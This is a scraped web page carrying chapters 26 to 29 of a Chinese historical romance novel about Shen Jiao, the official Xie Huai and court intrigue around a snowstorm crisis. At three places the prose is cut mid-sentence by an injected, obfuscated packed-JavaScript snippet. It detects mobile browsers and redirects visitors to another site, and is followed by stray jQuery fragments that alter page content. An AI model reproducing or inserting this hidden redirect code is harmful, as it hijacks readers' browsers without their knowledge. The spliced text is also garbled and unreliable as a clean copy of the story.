沈皎听得稀里糊涂，碍于情面，只得勉为其难地说了一句，“我尽量。” 谢淮正在书房看暗卫送回来的密信，听到脚步声，抬头看向门口，看到沈皎出现在门口，眸子微微一颤。 “世子，老奴的话您不听，沈姑娘的话您总也该听吧。” 沈皎硬着头皮开口劝道：“谢大人，身体重要，您还是请大夫来看看吧。” “嗯。” 谢淮放下手中的信件，果真没有拒绝，在沈皎疑惑呆愣的目光中，示意福管家去请大夫。 “沈姑娘可曾用饭？”谢淮镇定道。 “未曾。”沈皎被那一声嗯震的脑子空白，还未缓过神，轻声说了一句。 “我也未用饭，等下一起用吧。” 沈皎缓过来，正好也有事要同谢淮商议，应了下来。 “去端两盆炭火倒些茶水过来。” 下人应声而去，不一会儿，大夫提着药箱走进来，把完脉，“世子这是常年肝阳上亢，平时若不心平气和，头疾就会越来越重。” 26. 第 26 章 大夫开完药方，福管家派人去抓药，送走大夫。 屋中恢复寂静，炭火在炭盆里噼里啪啦燃烧，炸起点点火星。热意袭来，沈皎在窒息的气氛中可谓如坐针毡，直觉告诉她此时应该说些什么，但又觉得不合适。 她端起旁边的杯子掩饰尴尬，喝了一口水后放下。片刻，下人端着饭菜进来，打破尴尬的气氛。菜布好后，她扫了一眼，香煎豆腐、煎小鸡、韭花茄儿、腊八粥，都是她爱吃的，不由得微微一怔。 谢淮目光不着痕迹地从沈皎面上扫过，将她的微妙情绪尽收眼底，试探性地问道:“可是这些菜不合沈姑娘的胃口？” 沈皎听着谢淮的语气，似乎只要她说是，下一刻就打算让人重新去做一桌。她执起筷子，夹起一块煎得两面金黄的豆腐，咬了一口，连忙否认：“没有，味道很好。” 谢淮闻言，这才也动起了筷子，“沈姑娘，应是有事想同我说吧。” 他一回府，就听说沈皎出府了，便猜到她去了狱中。 沈皎顺着谢淮的话开口，“大人，不知对赵晖的案子怎么看？” “那个突厥客商交代，他是突厥官员派来大周交易武器的。据他供述，这已非首次潜入大周，突厥恐近期将有大动作。赵晖通敌叛国，证据确凿，死不足惜。” 沈皎没想到谢淮会毫无防备地告诉她这些隐秘之事，听完，道：“大人，那春桃她们?” “春桃和那个丫鬟红蕖不是凶手，明日我便会放她们回家。至于陆香莲，等这几日的立后风波一过，我会向圣上求情赦免她的死罪。” “多谢大人。” 用完饭，沈皎欲起身作别。 谢淮突然想到什么，叮嘱道:“沈姑娘在府里有什么事，都可以去找福叔，不用有所顾忌。” “好。” 少顷，沈皎离开后。阿城从外面匆匆进来。“世子，属下暗中护送那些矿工到大理寺。在巷子里遇到一个前来打探消息的牙嫂。牙嫂说，先前介绍的厨娘都死在了矿地。几天前，有一个瘦弱的姑娘主动找到她，说是要去矿地做工。她怕扯到命案里，便前来打听消息。” 那姑娘是谁，两人心知肚明。 谢淮喝完下人端来的药，“我知道了，近几日，派人加强府中的守卫。” 阿城不知沈皎大费周章引他们去矿地，葫芦里卖的什么药。见谢淮似是早已知晓，并没有深究的意思，应了句：“是。” 翌日，沈皎一大早等在狱前，待两人出来，将两人暂且送到了一家客栈，并给两人留下了些银钱，出了客栈却没回去，昨夜从谢淮嘴里听到立后之事便有些担忧芸娘和韩菀，她走进一家茶楼。 茶楼离国子监很近，刚一进去就能看到身着青色襕衫、气质文雅的国子监学生，正在传杯递盏，畅谈政事。 沈皎寻了一个不起眼的位置坐下，让小二上了一壶茶和一些糕点，坐了下来。 “近日，谏院几位大人连日于殿前谏诤，恳请圣上立后。不料圣上大怒，头疾复发，晕厥至今未醒。韩丞随即偕同宋都指挥使进宫，名义上是护驾，实则意图扶持淑妃娘娘为后，以把持朝政。谏院几位大人当场怒斥韩丞利欲熏心、居心叵测，却被韩丞拔刀斩杀，其余人等皆被投入诏狱。如今，韩丞已然在朝中只手遮天。”那学生将杯子重重置在桌上，眼底一片愤然。 “现在的朝堂已不是文宗皇帝在时那个四海晏然的大周了。先是王振仗着陛下的宠幸，搜刮民脂民膏，陷害忠良。其后，张相为韩丞所排挤，遂愤然辞官。韩丞坐上丞相之位，这几年结党营私，将朝堂搞得乌烟瘴气。”另一人也喟然长叹。 “可你我又能如何？陛下宠信韩丞，韩丞在朝中树大根深，谁又能动得了他。” 两人的声音戛然而止，意识到再高谈阔论也改变不了大周如今的局势，他们一把提起茶壶，倒了杯茶，然后一杯又一杯默不作声地喝着，以茶作酒，宣泄着内心的不满。 “不是还有万国公，万国公等清流素来看不惯韩丞的所作所为，定会设法不让韩丞的奸计得逞。” “希望如此，要是被韩丞这等奸佞把控了朝政，大周怕是要亡了。” 沈皎望着街上的行人，心里唏嘘不已，短短一日，就发生了这么多事。景惠帝昏迷不醒，韩丞把持朝政，韩家与万家两家势同水火，万贵妃势必不会放过韩菀和芸娘，她得想办法混进宫去看看，确认她们平安无事才能安心。在茶楼坐了一会，回到国公府时，福管家已命人备好了午饭。 “沈姑娘，您回来了？世子公务繁忙，命人回来送信说今天中午不回来用饭了，让您先吃，老奴已经让人把饭都做好了。” “多谢福管家。” 沈皎用完饭，思索着计划，要想进皇宫，就先得过禁军这一关。她骤然想起一桩事，屏退丫鬟，让翠蕊将陆林叫过来，“陆林，若我没记错，王锵和杜威两位大哥之前曾说他们在禁军中任职。” “是，姑娘，您想做什么?” “我想进宫，你派人安排一下。” “是，属下这就去安排。” 陆林带着沈皎来到一处偏僻的院子，叩了叩门，在门打开后，走进院中，三人在桌前坐下。 “姑娘，陛下昏迷不醒，据我得到的可靠消息，是中风。” “什么？中风？”沈皎没想到景惠帝居然病得这般重。看来，韩丞因接连失去赵晖与韩庆两个左膀右臂，又因矿地被发现而走投无路，所以才会直接带兵控制皇宫，想趁此机会搏一条生路。 “是。给陛下诊治的御医我请他为我诊治过旧疾，私下与他交情还算不错，他告诉我的消息不会有假。韩丞对谏院的人动手，就是在杀鸡儆猴。” “先前，我与谢大人查得赵晖私采矿藏、铸造兵器并售予突厥商人一事，韩丞恐难脱干系。且当年永州、冀州、安州、南州等城的失陷，背后亦多有韩丞的手笔。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16858905|191692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “韩丞竟敢通敌叛国，真是该千刀万剐。我俩皆在黎统领手下任职，王锵今日随着黎统领去京中巡查了，不过，姑娘，我夜间要去宫中当值，您要是想进宫，得换上禁卫的衣服，届时可以带您混进去。” “有劳杜大哥了。” “姑娘，您客气了。”杜威道。 长乐宫内灯火通明，近日天气越来越冷，夜间，芸娘准备出去给韩菀烧壶热茶，刚一走出屋子，就被两个禁卫横刀拦住。 “站住，大人吩咐，宫里的任何人都不能出去。” 沉嫣本想同两人理论一番，但连日来被这两个油盐不进的禁卫彻底磨得没了脾气，只得按下心中的怒火，重新换上一副笑脸，“大人，娘娘口渴，我只是出去烧壶茶，不会耽搁太长时间，还请两位通融一下。” “不行，没有宋指挥使的命令，长乐宫里的人谁也不能出去，你若是非要出去，就别怪我不客气了。”侍卫说完，手按在刀柄上，观察着沉嫣的动静，伸手欲拔腰间的刀。 “沉嫣，回来。”沉嫣正吓得不知所措，听到声音，见面前的人放下手中的刀，如临大赦，连忙回到宫内。 “沉嫣，你没事吧。”芸娘见沉嫣平安回来后，心里的石头才落地，关心地问。 “我没事，娘娘，外面的人竟是连烧壶水都不让，还想动刀。”沉嫣对韩菀倒着苦水，言语间却满是后怕。 “水少喝一口没什么要紧的，如今活着才是最重要的。” 韩菀这两日虽被关在了长乐宫，但外面的动静多多少少还是传到了她这里。景惠帝人事不省，宫里血流成河，万家和韩丞在朝中斗得不可开交，眼下宫里可谓危机四伏，一旦行差踏错就会葬身在这场争斗中。 “该换值了。” 须臾，一个手持长矛、穿着禁军服饰的人走进了殿中。沉嫣和芸娘屏住呼吸，止住话头。当她们看清来人是沈皎时，眼睛蓦然一亮，欣喜之情溢于言表。而韩菀看到沈皎，则是微微一怔。 “沈姑娘，你怎么来了？”芸娘道。 “我听说了宫中的事情，担心你们的安危，就来看看。” “姑娘，我去外面看着。”杜威道。 沈皎点了点头。 沉嫣略带抱歉地给沈皎倒了一杯冷茶，“沈姑娘，请坐，对不住，刚才想去烧壶热茶，门口的禁卫不让出去，只能以冷茶相待了。” 沈皎坐下来，“没事，娘娘，你们这些日子在宫中还好吗？” “这里一点儿都不好。前一阵子陛下来过一趟长乐宫，与娘娘大吵了一架，气冲冲地走了。从此，那些太监宫女就开始怠慢长乐宫的人，克扣用度和吃食。凤栖宫的人，仗着自己主子怀了身孕，变得盛气凌人，天天故意找茬，给长乐宫添麻烦。一举一动也被人监视着。”沉嫣气得牙痒痒地诉苦。 “万贵妃怀孕了？” “是，御医说已经三个月了。”韩菀道。 27. 第 27 章 沈皎听完，忍不住抬头看了韩菀一眼，韩菀的表情淡淡的，甚至语气也没有什么起伏，就像在说着一件十分稀松平常的事情。她将查到的事情说给韩菀：“娘娘，我与谢大人在一座矿地里抓住了前来交易的突厥客商，那客商交代，赵晖通敌叛国，韩相恐也牵扯其中。” 韩菀低头不语，陷入了沉默。沈皎这番话是在提醒她，朝中局势错综复杂，已非置身事外就能苟安一隅。她从芸娘口中得知她父亲是残害沈将军的幕后凶手之一，原以为沈皎会对她也怀恨在心，没想到会这般推心置腹，比起这个，她更好奇的是，“沈姑娘不恨我？我也姓韩。” “沈姑娘，抱歉，娘娘对我恩重如山，娘娘若不问，我至死也会对此事守口如瓶，但娘娘若问了，我定不会对娘娘有所隐瞒。”芸娘出声道。 沈皎见芸娘将所有事情都告诉给了韩菀，韩菀知道了她的身份，深明大义地道：“冤有头债有主，我为何要恨娘娘？” 韩菀心头的忧虑散去，“韩丞这几日将我关在殿里，日夜派人看守，我并非不知他所谋为何，他为人心狠手辣，六亲不认，又手握兵权，若想除掉他，得从长计议。” “韩丞要堵住天下悠悠众口，想利用娘娘来把持朝政。只要娘娘表面配合他，他就不会对娘娘不利。难的是万贵妃那边，如果娘娘对后位无意，便设法将自己的想法透露给万贵妃，表明您不想与她为敌。如此一来，万贵妃坐上后位后，也不会对您赶尽杀绝。” 韩莞思忖片刻，沈皎说的这办法一举两全，确是一条生路，“我知道该怎么做了。” 沈皎望了望外面漆黑的天色，起身话别：“娘娘，快到宵禁了。我如今住在国公府，不便再多待下去。方才随我来的那个人曾是我父亲的旧部。娘娘若有事，尽可以找他帮忙。” “好，近日京中怕是要大乱，沈姑娘也格外小心，我便不送了。” 沈皎出了长乐宫，在杜威的护送下，向宫外走去，路上时不时碰到列队巡逻的禁卫，一路上有杜威打掩护，加之她沉着冷静，并未让人发现端倪。 杜威将她护送到宫门口，她正准备走回府，却看到宫门口停着一辆马车，马车似乎早早就在那里等着了，不知等了多久。车旁的阿城见她出来，扭头对着车内说了几句。车帘被从里缓缓掀起，谢淮那双冷若冰霜的寒眸先是在她身上的装束上停留片刻，又转向身后的杜威，重新落回她身上时，他的目光不再平静，有了起伏，隐忍中夹杂着一丝无声的控诉，仿佛在说她是一个负心汉。 她在心中组织着语言，不远处的人薄唇轻启，不等她开口，便对着她冷冷地说了一句：“过来。” 声音清越如玉，却不容置喙，与平时的温和大相径庭，极其具有压迫性。 沈皎敏锐地察觉出谢淮的不悦，没解释什么，踱步走向马车。 杜威被谢淮看得心底发寒，认出马车里的人，恭敬地行礼，“卑职杜威拜见谢大人。” “杜都头夜里不好好在宫中当值，倒是有闲情逸致，在宫中同人私会。”谢淮话中火药味十足，显然是误会了什么。 杜威垂头认错：“大人教训的是，卑职下值后会去黎统领那里领罚。” 沈皎走到马车前，没想到，谢淮较起劲来会这般不讲情面，出言为杜威开脱：“谢大人，是我想进宫看看表妹，他才带我进宫的。” 谢淮握着帘子的手，骨节泛白，理智被妒火烧得岌岌可危，闻言，强拉回分崩离析的理智，“下不为例，上车。” 沈皎见谢淮不再刁难杜威，踩着阿城放下的马凳猫腰上了马车，马车掉头缓缓向国公府驶去。车内空间很大，置着炭盆，十分暖和，她在角落坐下，一言不发。 谢淮自沈皎上车时，就拿着一本书在看，表面上心神专注地在看书，在沈皎在一旁坐下时，书已被他捏出一道皱褶，他见沈皎不说话，似是在生气，默不作声。 一路上，两人谁都没有说话，沉滞的气氛就这样一直僵持到了国公府。 福管家和翠蕊早早就在门口大气也不敢喘地等着，看见阿城驾着马车回来，才放下焦灼不安的心。 翠蕊看见沈皎从马车里下来，赶忙唤了一声：“姑娘，您……”她忐忑不安地想多问几句，结果一抬眼看见紧跟着出现的谢淮，立刻噤了声，眼底带着一丝敬畏。 “我没事。”沈皎说完，便往自己住的院子走去，看也不看身后的谢淮。 福管家看着沈皎头也不回地就这样走了，在心底叹了口气，他家世子在任何事情上都表现得游刃有余，唯独在与沈皎有关的事情上容易丧失理智，“哎呦，我的世子，你这是又做了什么?” 两人好不容易重逢，有什么话不能好好说，非得闹成这样。 谢淮没有应答，也向府中走去。 两人一前一后离开，福管家吩咐下人将马车牵到后院，看向阿城。 “福叔，您别看我，主子不开口，我哪里敢说。”阿城摆摆手。 福管家彻底没辙了，只能转身回了府。 沈皎和翠蕊回到院子，取下头盔，换下身上冗重的甲胄，长舒一口气。 “姑娘，您没事吧，谢大人没有对您怎么样吧？” 沈皎倒了一杯茶，疑惑地抬起头，不知翠蕊说这话是什么意思。 “姑娘，您是不知道，谢大人从大理寺回来后，派人找您过去用饭，发现您不见了，冷着一张脸来问我您的行踪。见我不愿告诉他，一下午都派人寻找您，险些将整个京城都翻遍了，我还是第一次见那么可怕的谢大人”“翠蕊想起谢淮望着他的眼神，冷得像刀锋，现在想起还是浑身发寒。 沈皎听完这番话，好一阵恍神。她不知谢淮会对她的行踪紧张到这个地步，大费周章地找了她一下午。 她放下茶杯，只觉匪夷所思。谢淮先前对她的态度十分疏离，甚至可以说是冷淡。但从矿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16858906|191692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地回来后，短短几日，他就像变了个人。不仅是谢淮，福管家对她的态度也变得很奇怪。她现在还不能离开国公府。 一个下午，谢淮就能查到她的行踪，这也说明他极有可能知晓是她引他去矿地的，密信在她手里的事恐怕也瞒不住他。沈家与他非亲非故，他又为何不遗余力要为沈家翻案，她得想办法查清楚。 “我没事，他没对我做什么？” 虽知谢淮有头疾才会难以控制情绪，不问青红皂白，就诬陷她夜间同男子私会，不应过多计较，但她多少到底还是有些生气。 沈皎的语气不像没事的样子，自她们进府，府中上下都对她们都很照顾，这屋中的一桌一凳，梳篦妆匣，都是精挑细选的，“姑娘，谢大人，兴许只是担心您的安危。” “怎么，在国公府才住了几天，就被收买了？”沈皎打趣道。 “哪有，姑娘，我只是觉得谢大人这个人挺不错的，又是为芸娘讨公道，又让咱们住进府中。” 话音刚落，两个下人走进屋中。 “沈姑娘，世子说您晚上应该没吃东西，特地让厨房做了一碗粥命奴才送来。” 沈皎下午没吃什么东西，这会确实也有些饿了，消了气，让翠蕊接过粥，“替我谢谢世子。” 下人回到书房，“世子，沈姑娘让我替她谢过世子。” 说这话就是不再生气了，谢淮想起在宫门口看到的那一幕，面颊阴沉。嫉妒的简直要发疯，他明明承诺了，会替她救人，也展现了自己的能力，能保护好她，更可以为了她，甚至去做一切不喜欢的事。为什么她宁肯去找别人，也不肯来找自己。他面无表情地道：“知道了，下去吧。” 下人行礼退下，阿城走进屋中，跪在地上，诚恳道“世子，属下是来请罪的。” 谢淮不说话，知道阿城所说的是什么，毕竟当初在牢房的那一脚可踹得可不轻，他那时不知沈皎就是他要找的人，但凡知道，他绝不会让任何人伤害沈皎：“给我请罪没用。” 阿城闻言，将暗卫从凉州送来的密报递给谢淮:“属下知道了，明儿一早就去沈姑娘面前请罪。” 这几日，阿城可算从福管家那里知道了沈皎在谢淮心中的地位，是寝食难安，与其等着谢淮秋后算账，还不如主动前来认错。 “还有属下将银子发给了那几位来寻亲的妇人，已派人护送她们安全返乡了。” “嗯。” 谢淮打开密信，看完，眉头却越皱越深。 “世子，怎么了?” “信上说，凉州发生了雪灾，各郡的老百姓都往京中逃难来了。” 阿城先前也是和家人从冀州那边逃难过来的，冀州发生战乱，又逢百年一遇的雪灾，要不是母亲在逃难的途中遇到贵人，求来了几张饼，将饼都给了他和妹妹，他只怕早就饿死了，自是知道这一路的艰险：“也不知道，这一路上有多少人又会被冻死饿死。” 28. 第 28 章 沈皎起床喝完药，就听翠蕊说，阿城一大早就过来捧着一根鞭子在外面跪着，跪了有两个时辰了。她披着大氅走到院子，看着院中冻得脸色发青仍咬牙硬撑的人。 阿城听到脚步声，头垂得更低，奉上鞭子，颤着声音道：“阿城先前不得已多有得罪，特来向姑娘请罪，还请姑娘责罚。” 这时，陆林从宅院那边拿着书信回到院中，听到阿城的话，云里雾里。 “阿城兄，这是做什么？” 沈皎没说话，翠蕊将陆林拉到一旁，说出那日在狱中发生的事。 陆林与阿城，两人这段时间意气相投，已成了挚友，知道阿城悲惨的身世，于是出声求情：“姑娘，阿城此事固然有错，但当初为救妹妹才被迫为之，还请姑娘不要怪罪。” 沈皎得悉阿城也是个苦命的人，见阿城主动前来认错，态度倒也还算诚恳，算条敢做敢当的汉子，既往不咎：“起来吧。” 阿城放下鞭子，抬起僵硬的手，对着沈皎行了一礼：“多谢姑娘。” 陆林扶起阿城，送出院外。将手中的两封从凉州寄来的信递给沈皎：“姑娘，属下拿到信了。” 沈皎接过信，回到屋中，她拆开最上面一封写着皎皎亲启的信，坐在炭盆旁，看完后，紧紧握住手中的信，面色却是前所未有的凝重。 翠蕊见状，察觉不对，收到林将军寄来的家书，理应高兴才对，怎的这一副愁眉不展的样子:“姑娘，怎么了?可是凉州那边出了什么事？” 沈皎如梦初醒，回过神，放下手中的信，怆然道：“林伯父并未责怪我们偷跑来京城，说他和林伯母身体都很好，让我们在京中照顾好自己。不过凉州发生了雪灾，突厥也蠢蠢欲动，他叫我如果遇到难事，就拿着另一封信去找万国公帮忙。” “那凉州现在岂不是很危险？那我们现在该怎么办？” 突厥人生活在草原上，以游牧为生，雪灾会导致大量的牲畜死亡，突厥人没了粮食和御冬的衣物，便会再次向大周发动战争。 沈皎看完信后心急如焚。凉州人口三四十万人，光军队就有七万多人，物资本就极为紧缺，一边要防御突厥，一边要救灾，财政就有些左支右绌。为今之计，只能从京城调运粮草前去救援，方能解燃眉之急。然而景惠帝陷入昏迷，身为宰相的韩丞不仅贪污受贿，倒卖武器，还暗中勾结突厥，此时定是不愿派粮给凉州。 沈皎端起茶呷了一口，攘外必先安内，纵是担忧凉州的情况，也不能自乱阵脚。她压下心中的焦急，气定神闲地说了一个字，卖了个关子：“等。” 翠蕊满脸疑惑，看着沈皎镇定的模样，猜不透沈皎的心思。 沈皎拐弯抹角：“过几日，等京中热闹起来，你便知道了。” 凉州的雪灾来得猝不及防，急报一路快马加鞭踏着冰雪被送到京城，已然是三日后。消息在朝中引起了轩然大波，韩丞和万国公为首的两派官员在政事堂因救灾一事，吵得面红脖子粗。 “先前嘉庸关一战，已经几乎耗空了国库。国库现在入不敷出，朝廷每年派人给凉州转运几百万布帛作为军费，林御身为凉州节度使，统管凉州政务，银子都花去哪里了？” 万国公抬头，说话的是户部郎中王咏，见他张牙舞爪的模样，冷笑一声，目光如刀，“钱去哪了？谁知道呢？王大人不应该最清楚吗？前两个月各地的税银刚收上来，那么多税银，王大人就喊入不敷出，岂不可笑？难道要眼睁睁看着突厥杀进京城，百姓冻死饿死在路边，坐视不理？这千古骂名由王大人来担吗？” 王咏听到这番含沙射影的话，忿然作色：“万国公这是什么意思?税银是收上来了，去年各县多地都在闹灾荒，收上来的税银比往年整整少了将近四成。内务府，水利，漕运，工部，太常寺，包括国公您的俸禄哪个地方不需要花银子？国库现在已经没有钱拨给凉州了。” 万国公讥笑一声：“没有银子？王大人不如现在就派人将账本拿来，我们好好将这几年的帐理清楚？看看银子到底都去哪里了？” 王咏义愤填膺道：“万国公莫要在这含血喷人。” 万国公步步紧逼：“王大人既心中没鬼，那就将账本交出来。” “万国公想要查看账本，可以，那便拿来陛下的圣旨。” 万国公额头青筋暴起：“王咏，你。” 王咏见万国公被怼得哑口无言，冷哼一声，甩袖坐下。 坐在一旁悠闲地喝着茶一言不发的韩丞，不紧不慢地放下手中的茶杯，为这场争论画上句号：“看来今日是商量不出一个结果了，时间也不早了，不如今日就到这儿，明日再讨论出一个方案？” 万国公还想说什么，只能暂且作罢，不甘地拂袖离开。 “国公，留步。”万国公敛住步子，回头一看，是兵部侍郎杨敬。 杨敬望了望四周，等到韩丞几人离开：“国公，今夜可有空?我想请国公到府上一叙，还请国公赏光。” 万国公闻言，看着眼前的人，过了好半晌，才慢慢开口：“扬大人不怕韩相怪罪？” 前几日赵晖的案子，在朝中早已传开，如今兵部尚书的位置空缺，想坐上那个位置，在他这里可讨不到什么好处。 “国公误会了，下官只是有些重要的事在这里说不方便，想与国公当面说。” “那好，晚上你来我府中。” 天空阴沉沉的，不知何时便会有一场大雪汹涌而至。沈皎捧着手炉，站在屋檐下。 福管家带着下人来到院中，走上前，让下人将熬好的黄芪红枣汤递给沈皎，笑吟吟道：“沈姑娘，老奴派人给您熬了黄芪红枣汤，您快尝尝。” “辛苦福管家了。”沈皎没有推辞，将手炉递给翠蕊，伸手端起汤，喝了起来。 福管家见沈皎看起来心情还算不错，趁势开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16858907|191692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口，为谢淮说情：“沈姑娘，老奴知道，世子大概做了让您气恼的事情，老奴替世子向您赔不是，世子对您没有什么坏心的，就是不会表达感情而已，您千万别放在心上。” 沈皎舀汤的动作一滞，抬起头看，问出心中那个百思不解的问题：“福管家，谢大人以前和我认识吗？” “这个老奴不清楚，不过，前年世子从战场上回来，受了伤，老奴那天去别院给世子送伤药听到世子让暗卫到处在找您的下落，说如果找到您让保护好您，应该是认识的。” “多谢福管家告知，我没有怪谢大人，谢大人也是为了我的安全考虑。” “那就好，老奴就放心了。您就把这儿当自己家，要什么用什么尽管吩咐下人去做。” “好，我知道了。” 福管家离开后，沈皎低头喝了一口汤，心中却是更疑惑了，前年恰好是沈家刚出事的时候。她心中猛然闪出一个大胆又荒唐的猜测，谢淮是因她为沈家翻案，但她自幼便和沈父在合州生活，谢淮品貌非凡，若是见过，她定会多多少少有印象。可她见过的男子中，并没有谢淮的身影。 “翠蕊，当初我们在合州时，可曾见过谢大人？” “不曾，像谢大人这样身份长相的人，若见过，肯定会有印象的。” 沈皎喝完汤，将碗递给翠蕊，让翠蕊买两件冬衣送到春桃和红蕖住的客栈。 “是，姑娘。” 翠蕊出了国公府，前往西市的成衣店，街上今日比起往常却冷清了许多，巡逻的禁卫也变得多了起来，她走到一家成衣店，刚想进去，就看到老板准备关门，出声阻拦：“老板，等一下。” 成衣店的老板停下关门的动作，“姑娘，想要买什么？” “买两件女子穿的冬衣。” 成衣店的老板将翠蕊请进店中，取出几套成色不错的冬衣递给翠蕊：“姑娘，看看这几件怎么样？用的都是江南那边新出的料子和款式，里面填充的都是丝绵。” 翠蕊一摸衣服的料子，便知这衣服是上等货不便宜：“老板有没有稍微便宜些，耐寒的。” 成衣店的老板叹了口气：“姑娘，实不相瞒，昨日城中传闻突厥又要打过来，店里的冬衣都被抢购一空。如今只剩下这种质地上乘的料子，虽然价格稍贵，但非常保暖。如果你需要两件的话，我可以给你打个六折，两件一共四两银子。” 翠蕊取出银子，递给老板，接过衣服：“多谢老板。” 走出成衣店，到了客栈，推开门走进去，见两人心事重重，将手中的衣服放在桌上，“这是怎么了？” 红蕖向翠蕊说起这几日街上的见闻:“翠蕊姑娘，你是不知道，这几日京中有多乱，听说突厥要打过来了，每日都有大批的人涌向城门口，要离开京城，京里人仰马翻的。” 虽不知这消息是真是假，但一旦连京城都不再安全，她们又能逃到哪里去？ 29. 第 29 章 “别担心，有林将军镇守凉州，一定不会让突厥打过来的。”翠蕊虽安慰着两人，心里却也没底，但沈皎说让等，想必心里一定有了盘算。 翠蕊送完衣服，回到国公府。就看到沈皎站在屋中，几个下人正在搬移桌上价值连城的花瓶和澄泥砚，甚至福管家当初让人重金买来的话本孤本《绣像红风传》也都被下人堆放在了桌上，满肚疑团:“姑娘，你这是要做什么？” 沈皎没回答“翠蕊，你去将福管家叫过来，就说我有事找他。” 翠蕊虽不知沈皎用这些东西要做什么，还是去了。福管家听说沈皎有事找他，放下手中的事，火急火燎地赶了过来。 “沈姑娘，您找老奴。” 沈皎看了一眼桌上琳琅满目的东西，问道：“福管家，屋中的这些东西既给我买的，我是不是有权可以随意处置这些东西。” 偌大的国公府，这些年来，光是景惠帝逢年过节赏赐还有别人送的东西，就堆满了整个库房。这些东西虽然珍贵，但到底也只是用来取悦主子的摆件而已，一些身外之物而已，以沈皎在谢淮心中的地位，就是把整座国公府送给她眉都不会皱一下。 福管家道：“是，这些东西本就是为您置办的，自然全凭您做主。” 听到这句话后，屋中的下人在沈皎的吩咐下，拿起桌上的东西，装进一个箱笼里，合上箱子，抬着它前往当铺。 福管家望着空荡荡的屋子，觉得有些可惜，拦住下人：“沈姑娘若是缺银子，跟老奴说一声便是。这些东西好多都是稀罕物件，重金按照您的喜好花钱请人定做的，就这么当了换钱，怪可惜的。” 下人看向沈皎，站在门口，等着沈皎的决定：“东西虽好，到底都是身外之物，比起摆在屋中欣赏，还不如让它发挥更大的价值。” 福管家听得一头雾水，见沈皎坚持，没有再拦。 半个时辰后，下人把当来的五百两银票递给沈皎。沈皎接过银票，让翠蕊拿着银票，在陆林的保护下，去米市提前订购两石大米。 翠蕊拿着银子，这才明白了沈皎要做什么，霎时红了眼眶，抹了抹脸上的泪：“是，我这就去。” 福管家想着白天的事，辗转难眠。来到书房，听到屋中的交谈声，没进去打扰，悄悄离开。 “太傅，对此事怎么看？”谢淮问道。 “陛下昏迷，韩丞如今把持朝政，又兼掌军事调度，有罢免官员的权力，还敢与突厥勾结，大周只怕要毁在这奸佞小人手里了。”林太傅哀叹一声，愤然顿足捶胸。 “太傅，您消消气，倒也未必。现在京中的局势复杂，但也未尝没有胜算。凉州暂时有林御将军在那里守着，若突厥真打过来，还能抵挡一时。我们现在要做就是想办法将韩丞绳之以法，调拨物资，派兵支援凉州。”谢淮分析着当前的局势，给出建议。 林太傅悔恨道：“老夫没想到，沈将军居然是被这等无耻小人迫害致死。早知道，老夫当初就应该硬气点，一头撞死在大殿上，逼迫陛下收回成命。” 谢淮沉默片刻，才缓缓开口：“太傅，陛下的脾性，没人比您更了解。当初求情者不在少数，甚至有死谏之臣，可陛下可曾动容？永州、冀州、安州、南州四城失守，军心已然涣散。嘉庸关一战，我军虽死伤惨重，终是以惨胜守住了关隘，京城亦免遭突厥铁骑肆虐。然而，陛下生性多疑，忌惮武将已久。王振的话，恰好挑起了陛下心中的那根刺，无异于递了一把刀给陛下。” “先皇膝下本有多位皇子，奈何先后夭折，长大成人的，唯有陛下与二皇子。”林太傅的声音低了下去，带着几分唏嘘，“陛下自幼丧母，又不得先皇喜爱。先皇本属意二皇子继承大统，谁料二皇子出外巡查政务时染上瘟疫，回宫后便撒手人寰。先皇万般无奈，这才将皇位传给了陛下。” 夜幕低垂，月上枝头，谢淮将林太傅送出府，刚回到书房，就看到福管家一脸纠结地站在门口：“怎么了？有事?” “世子，今天沈姑娘把老奴叫去，将老奴买来的物件都当了，似是十分缺银子，您说老奴要不要把库房里面那些东西都给沈姑娘送去？” “当东西？” 他第一反应，是沈皎或许要离开京城，回凉州去了。可转念一想，沈将军的大仇还未得报，以她的性子，断不会就此离去。念及此，他心绪渐平，语气依旧淡漠：“此事你做主便是，这点小事，不必来问我。” “随你做主，这种小事不用来问我。”谢淮语气淡漠，对那些东西的去处毫不关心。 “好，那老奴明日就将东西给沈姑娘送去。”福管家乐呵呵地道。 沈皎早上起来，听到屋外的动静，打开门，难以置信地看着院中的东西，院中的东西堆积如山，前前后后，都快把整间院子塞满了，她疑惑道：“福管家，这是？” “沈姑娘，您不是需要银子吗？这些东西在库房放着也是放着，世子让老奴就都给您送来了。” 